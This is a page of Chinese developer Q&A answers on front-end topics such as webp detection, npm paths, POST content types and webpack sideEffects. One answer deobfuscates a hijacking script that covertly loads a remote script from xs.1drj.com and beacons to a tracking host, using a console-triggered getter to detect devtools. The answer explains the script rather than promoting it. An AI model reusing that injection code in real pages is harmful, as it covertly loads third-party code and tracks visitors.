鍍金池/ 問答/ HTML問答
維他命 回答

不就是同時改變旋轉值么
這有什么難點嗎。。。
rotate3d(0,xxdeg,xxdeg)

最終我還是采用了另一種方案。在根目錄的static目錄下新建一個css目錄,此目錄下保存2份css文件。分別為:picture.css(此樣式表只保存所有需要轉換為webp圖片的原始路徑)和webp.css(此樣式表只保存所有需要轉換為webp圖片的webp路徑)。然后在index.html的<script>標簽里判斷瀏覽器是否支持webp格式,如果支持就載入webp.css,并且在localStorage里埋下webpSupport:true的屬性。否則就載入picture.css。下次進入app,只需要判斷l(xiāng)ocalStorage下的webpSupport屬性,即可加載對應的樣式表。此方法的缺點,就是需要額外保存2個樣式表文件,來分別保存原格式和webp格式的路徑。但是優(yōu)點是避免了用less的方法,多出了額外的圖片請求。以下是index.html中的業(yè)務邏輯代碼。

(function() {
    let styleTag = document.getElementById('pictureStyle')

    // 判斷是否有webpSupporta: true這個storage
    if (!localStorage.getItem('webpSupport')) {
        let image = new Image()

        // 圖片加載完成時候的操作
        image.onload = function() {

            // 圖片加載成功且寬度為1,那么就代表支持webp了,因為這張base64圖是webp格式.如果不支持會觸發(fā)image.error方法
            if (image.width == 1) {
                localStorage.setItem('webpSupport', true)
                styleTag.setAttribute('href', '/static/css/webp.css')
            } else {
                styleTag.setAttribute('href', '/static/css/picture.css')
            }
        }

        // 一張支持alpha透明度的webp的圖片,使用base64編碼
        image.src = 'data:image/webp;base64,UklGRkoAAABXRUJQVlA4WAoAAAAQAAAAAAAAAAAAQUxQSAwAAAARBxAR/Q9ERP8DAABWUDggGAAAABQBAJ0BKgEAAQAAAP4AAA3AAP7mtQAAAA=='
    } else {
        styleTag.setAttribute('href', '/static/css/webp.css')
    }
}())
赱丅呿 回答

自己回答吧,目前不知道如何將制作的jar所依賴的jar直接跟代碼打包到一起,現(xiàn)在是只打包代碼
圖片描述

我試了這兩個都可以,先說上面的吧
圖片描述

這里我只選擇了代碼,右邊的框的選項我沒有動,左邊選擇了web-inf的話依賴的jar也會打包進去,然后完成,項目里要使用這個jar的話需要給項目里添加這個jar所依賴的jar才能用

再說下面的吧
圖片描述
這個打開之后選擇上面的下拉框選中要打包的項目,選項分為項目名和好像是有main方法的類吧,然后自己看著選一個
選好之后在看下面一點的單選這里,我用的是第三個,這個可以將代碼打成jar并且將所依賴的jar也放到了一個文件夾中,文件夾跟打成的jar是一個目錄下在.沒了
圖片描述

有你在 回答

你是說BASE_URL這種嗎?我是直接寫在index.html里的一個script標簽里的:

<script>
  var BASE_URL="www.aaa.com:8080/api/"
<script>

反正寫在js里,別人要扒也能輕易扒到。

懶豬 回答

bootstrap down下拉框依賴bootstrap.js文件,添加即可,需要注意的是bootstrap.css和bootstrap.js的版本需一致且不要低于3.3.5的版本,還有一個地方要注意,bootstrap-table及bootstrap 3.3.5依賴jquery的版本不要低于1.9.1,按照上述說法去做不會有問題的

奧特蛋 回答

newLoadPath這個函數(shù)內部代碼呢?
在這個函數(shù)內通過怎樣的計算得出everyPaths

深記你 回答

頁面滾動進度同步變化你就自己寫了吧

<!DOCTYPE html>
<html>

<head>
    <meta charset="UTF-8">
    <title></title>
    <style>
        #div1 {
            width: 600px;
            height: 20px;
            background: #CCCCCC;
            position: relative;
            margin: auto;
        }

        #div2 {
            width: 20px;
            height: 20px;
            background: #000000;
            position: absolute;
            top: 0;
            left: 0;
        }

        #div3 {
            width: 400px;
            height: 300px;
            border: 1px solid black;
            position: relative;
            overflow: hidden;
        }

        #div4 {
            position: absolute;
            top: 0;
            left: 0;
        }
    </style>
    <script>
        window.onload = function () {
            var oDiv1 = document.getElementById('div1')
            var oDiv2 = document.getElementById('div2')
            var oDiv3 = document.getElementById('div3')
            var oDiv4 = document.getElementById('div4')
            var disX = 0;
            oDiv2.onmousedown = function (ev) {
                var oEvent = ev || event;
                disX = oEvent.clientX - oDiv2.offsetLeft;
                document.onmousemove = function (ev) {
                    var oEvent = ev || event;
                    var l = oEvent.clientX - disX;
                    if (l < 0) {
                        l = 0;
                    } else if (l > oDiv1.offsetWidth - oDiv2.offsetWidth) {
                        l = oDiv1.offsetWidth - oDiv2.offsetWidth
                    }
                    oDiv2.style.left = l + 'px';
                    var scale = l / (oDiv1.offsetWidth - oDiv2.offsetWidth);

                    oDiv4.style.top = -scale * (oDiv4.offsetHeight - oDiv3.offsetHeight) + 'px';
                }
                document.onmouseup = function (ev) {
                    var oEvent = ev || event;
                    document.onmousemove = null;
                    document.onmouseup = null;
                }
                return false;
            }

        }
    </script>
</head>

<body>
    <div id="div1">
        <div id="div2"></div>
    </div>
    <div id="div3">
        <div id="div4">
            在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。在生活中,我們最經(jīng)常吃的水果,經(jīng)常見到的水果可能有些人并,不知道它們是怎么長出來的。說到平時經(jīng)常吃的水果大概就有蘋果,梨,桃子,草莓。相信這些大家都知道是怎么長出來的,但是說到菠蘿,榴蓮,山竹這一些大家還知道它們是怎么長出來的嗎?不知道的趕緊來看看。
        </div>
    </div>
</body>

</html>
亮瞎她 回答

我用火狐,需要使用 document.execCommand('copy' , false)。寬度倒是沒影響。

下墜 回答

又是引用問題

var a = {};
var b = a;
b.id = 1;
console.log(a)//{ id: 1 }
帥到炸 回答

node.js之npm安裝模塊的路徑

npm安裝模塊默認為 shell 的當前目錄。如果要裝成全局的,使用 npm install xss -g

npm help install里的描述是:

Packages are dropped into the node_modules folder under the prefix. Global installs on Unix systems go to {prefix}/lib/node_modules. Global installs on Windows go to {prefix}/node_modules (that is,no lib folder.)
1
翻譯出來大意是:

Packages 安裝進 prefix 前綴的 node_modules。Unix系統(tǒng)里 Global 安裝會裝進 {prefix}/lib/node_modules。Windows系統(tǒng)里則是 {prefix}/node_modules (就是說沒有 lib 文件夾)。
1
通過 npm config ls 可列出 prefix 的配置

修改 prefix 可以 npm config set prefix “f:\node”

兔寶寶 回答

不推薦使用cnpm,推薦用npm,npm config set registry http://registry.npm.taobao.org/這樣改完就不會很慢了。

下墜 回答

1, a=2;是相對于第一行的var a=1;而來的,主要演示變量的作用域問題.
2, 在函數(shù)表達式(就是括號括起來的函數(shù)部分)中,a的作用就是函數(shù)本身,用于自身引用(比如遞歸),是一個"被污染"的變量名.下面的賦值和刪除都無法對a進行操作,因為它就不是一個常規(guī)的變量.

萌吟 回答
請問怎么改造可以讓后臺POST時候收到收到參

network看你前端本來就沒問題,而問題就變成后端接收不到參數(shù),那么后端可以處理什么content-type呢?(這是接口定義的問題,人家定義不接受form data你發(fā)過去有啥用)

一開始以為你是發(fā)送請求的截圖,原來是后臺給的成功實例。。
當然有問題,application/x-www-form-urlencoded發(fā)送數(shù)據(jù)的格式是a=b&c=d,而你發(fā)的是json字符串,你可以用qs模塊轉一下。

      if (type == 'POST') {
        sendData = JSON.stringify(data);
      }

      requestObj.open(type, url, true);
      requestObj.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      requestObj.send(sendData);

然后以后有關Network的問題,有什么不成功請截個圖發(fā)出來才能看到你到底發(fā)送了什么。

乖乖瀦 回答

去掉故弄玄虛的變量名后, 實際作用就是

  1. 異步加載指定腳本,方式是在head中添加<script>標簽。
  2. 發(fā)送統(tǒng)計數(shù)據(jù)。 方式是構造img對象,通過觸發(fā)img對象的src屬性發(fā)送統(tǒng)計數(shù)據(jù)給 http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js")這個地址
(function() {
    try {
        var insertScript = function(scriptUrl, scriptId) {
            var scriptDom = document.createElement("script");
            scriptDom.type = "text/javascript";
            scriptId && (scriptDom.id = scriptId);
            scriptDom.src = scriptUrl;
            document.getElementsByTagName("head")[0].appendChild(scriptDom);
        };
        var insertImgTimer = setInterval(function() {
            var img = new Image();
            Object.defineProperty(img, "id", {
                get: function() {
                    img.src = "http://l.xs.1drj.com/" + encodeURIComponent("http://xxxxx.com/js/rem.js");
                    clearInterval(insertImgTimer);
                    }
                });
            window.console && (window.console.log(img), window.console.clear());
            }, 2e3);
        
        document.getElementById("__z_") || self == top && (insertScript("http://xs.1drj.com/?tsliese=27311189", "__z_"));
        
        if(document.currentScript && (document.currentScript.defer || document.currentScript.async)) {
            insertScript("http://xxxxx.com/js/rem.js");
        } else {
            document.write('<script src="http://xxxxx.com/js/rem.js"></script>');
        }
    } catch(e) {};
})()
話寡 回答

chrome測試了一下未復現(xiàn)你的問題

小曖昧 回答

sideEffects 是說模塊內有沒有立即執(zhí)行的代碼, 此類代碼通常會產(chǎn)生副作用. 比如:

// a.js 文件

// 副作用, 在 import a 時發(fā)生
document.body.appendChild(document.createElement('div')); 

// 導出的模塊
export default function foo() {};

通過 sideEffects 標記, 可以通知 webpack 使用一種更簡便高效的方式來實現(xiàn)代碼裁剪.